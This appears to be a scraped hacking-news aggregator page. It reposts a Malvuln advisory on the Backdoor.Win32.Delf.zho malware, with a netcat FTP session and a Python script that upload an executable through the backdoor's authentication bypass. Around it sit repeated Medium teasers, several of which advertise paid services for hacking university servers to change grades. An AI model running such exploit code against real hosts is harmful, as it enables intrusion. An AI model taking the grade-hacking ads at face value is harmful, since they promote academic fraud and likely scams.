Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Backdoor.Win32.Delf.zho Authentication Bypass / Code Execution
https://4.bp.blogspot.com/-khon6dqGLkI/WWlvkVAr7qI/AAAAAAAAIQw/JwPgE9u6PkcV9AqklLFI3rOjfEX9YXC4QCLcBGAs/s1600/h96.png
Backdoor.Win32.Delf.zho malware suffers from bypass and code execution vulnerabilities.
MD5 |
Download
Source:packetstormsecurity.com
Backdoor.Win32.Delf.zho Authentication Bypass / Code Execution
https://4.bp.blogspot.com/-khon6dqGLkI/WWlvkVAr7qI/AAAAAAAAIQw/JwPgE9u6PkcV9AqklLFI3rOjfEX9YXC4QCLcBGAs/s1600/h96.png
Backdoor.Win32.Delf.zho malware suffers from bypass and code execution vulnerabilities.
MD5 |
487f9e14ba262dfab66e64b94678938bDownload
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/6b9f5a0512af3ab33c26eaa4bdf94f1f.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Delf.zho
Vulnerability: Authentication Bypass RCE
Description: The malware listens on TCP port 21 and TCP ports 14920 to 14923. Third-party attackers who can reach the system can logon using any username/password combination. Attackers may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Type: PE32
MD5: 6b9f5a0512af3ab33c26eaa4bdf94f1f
Vuln ID: MVID-2021-0205
Disclosure: 05/11/2021
Exploit/PoC:
nc64.exe 192.168.18.127 21
220 ICS FTP Server ready.
USER mal
331 Password required for mal.
PASS vuln
230 User mal logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,127,198,78).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok
from socket import *
MALWARE_HOST="192.168.18.127"
#Calculate port 198*256 + 78 = 50766
PORT=50766
DOOM="DOOM.exe"
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)
while EXE:
s.send(EXE)
EXE=f.read()
s.close()
print("Backdoor.Win32.Delf.zho / Authentication Bypass RCE")
print("MD5: 6b9f5a0512af3ab33c26eaa4bdf94f1f")
print("By Malvuln");
if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
Source:packetstormsecurity.com
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Hack Into College Grades Without Hacking Experience
https://cdn-images-1.medium.com/max/1289/0*qOn7BEs9wZntgZpe.png
Hack Into College Grades Without Hacking Experience Contact Us On CREATIVEHACKERS2@GMAIL.COM
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Hack Into College Grades Without Hacking Experience
https://cdn-images-1.medium.com/max/1289/0*qOn7BEs9wZntgZpe.png
Hack Into College Grades Without Hacking Experience Contact Us On CREATIVEHACKERS2@GMAIL.COM
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Hack Into College Grades Without Hacking Experience
Hack Into College Grades Without Hacking Experience Contact Us On CREATIVEHACKERS2@GMAIL.COM
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
1,000+ Gas Stations Ran Out of…Gas
https://cdn-images-1.medium.com/max/976/1*sq5QkqhKL79SgCThFKSyKg.png
CHAMBLEE, Ga. — More than 1,000 gas stations in the Southeast reported running out of fuel, primarily because of what analysts say is…
Continue reading on Morning Sixpack »
___________________________
@hacking_Attack
@Hacking_Video
1,000+ Gas Stations Ran Out of…Gas
https://cdn-images-1.medium.com/max/976/1*sq5QkqhKL79SgCThFKSyKg.png
CHAMBLEE, Ga. — More than 1,000 gas stations in the Southeast reported running out of fuel, primarily because of what analysts say is…
Continue reading on Morning Sixpack »
___________________________
@hacking_Attack
@Hacking_Video
Medium
1,000+ Gas Stations Ran Out of…Gas
CHAMBLEE, Ga. — More than 1,000 gas stations in the Southeast reported running out of fuel, primarily because of what analysts say is…
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
How To Change Your Grades Online Permanently
https://cdn-images-1.medium.com/max/1289/0*u6JpHeaTxL0-CjuQ.png
How To Change Your Grades Online Permanently Contact Us On CREATIVEHACKERS2@GMAIL.COM
Continue reading on Medium »
How To Change Your Grades Online Permanently
https://cdn-images-1.medium.com/max/1289/0*u6JpHeaTxL0-CjuQ.png
How To Change Your Grades Online Permanently Contact Us On CREATIVEHACKERS2@GMAIL.COM
Continue reading on Medium »
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
HOW TO HIRE A HACKER TO CHANGE MY SCHOOL GRADES QULIOUSHACKER@GMAIL.COM
A Lot of People are Usually worried in regards to the fact that they have very reduced rates, and they need there is certainly something…
Continue reading on Medium »
HOW TO HIRE A HACKER TO CHANGE MY SCHOOL GRADES QULIOUSHACKER@GMAIL.COM
A Lot of People are Usually worried in regards to the fact that they have very reduced rates, and they need there is certainly something…
Continue reading on Medium »
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Cron Jobs Part 1
Cron jobs are tasks or programs that are run on a set schedule in a Unix operating system. They can be created by the system, or they can…
Continue reading on Medium »
Cron Jobs Part 1
Cron jobs are tasks or programs that are run on a set schedule in a Unix operating system. They can be created by the system, or they can…
Continue reading on Medium »
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
HOW TO HACK A UNIVERSITY SERVER TO CHANGE GRADES
https://cdn-images-1.medium.com/max/1400/0*aSo3Vi_NYRYVtD3T
How to Hack University Database to Change Grades QULIOUSHACKER@GMAIL.COM
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
HOW TO HACK A UNIVERSITY SERVER TO CHANGE GRADES
https://cdn-images-1.medium.com/max/1400/0*aSo3Vi_NYRYVtD3T
How to Hack University Database to Change Grades QULIOUSHACKER@GMAIL.COM
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
HOW TO HACK A UNIVERSITY SERVER TO CHANGE GRADES
How to Hack University Database to Change Grades QULIOUSHACKER@GMAIL.COM
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Cron Jobs Part 2
https://cdn-images-1.medium.com/max/770/0*7NBm8I70j3pOUC67
Wildcard Injection
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Cron Jobs Part 2
https://cdn-images-1.medium.com/max/770/0*7NBm8I70j3pOUC67
Wildcard Injection
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Cron Jobs Part 2
Wildcard Injection
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
How To Hack A University Server to Change Grades
https://cdn-images-1.medium.com/max/1289/0*eJz6byz-ZznTh2Lq.png
How To Hack A University Server to Change Grades Contact Us On CREATIVEHACKERS2@GMAIL.COM
Continue reading on Medium »
How To Hack A University Server to Change Grades
https://cdn-images-1.medium.com/max/1289/0*eJz6byz-ZznTh2Lq.png
How To Hack A University Server to Change Grades Contact Us On CREATIVEHACKERS2@GMAIL.COM
Continue reading on Medium »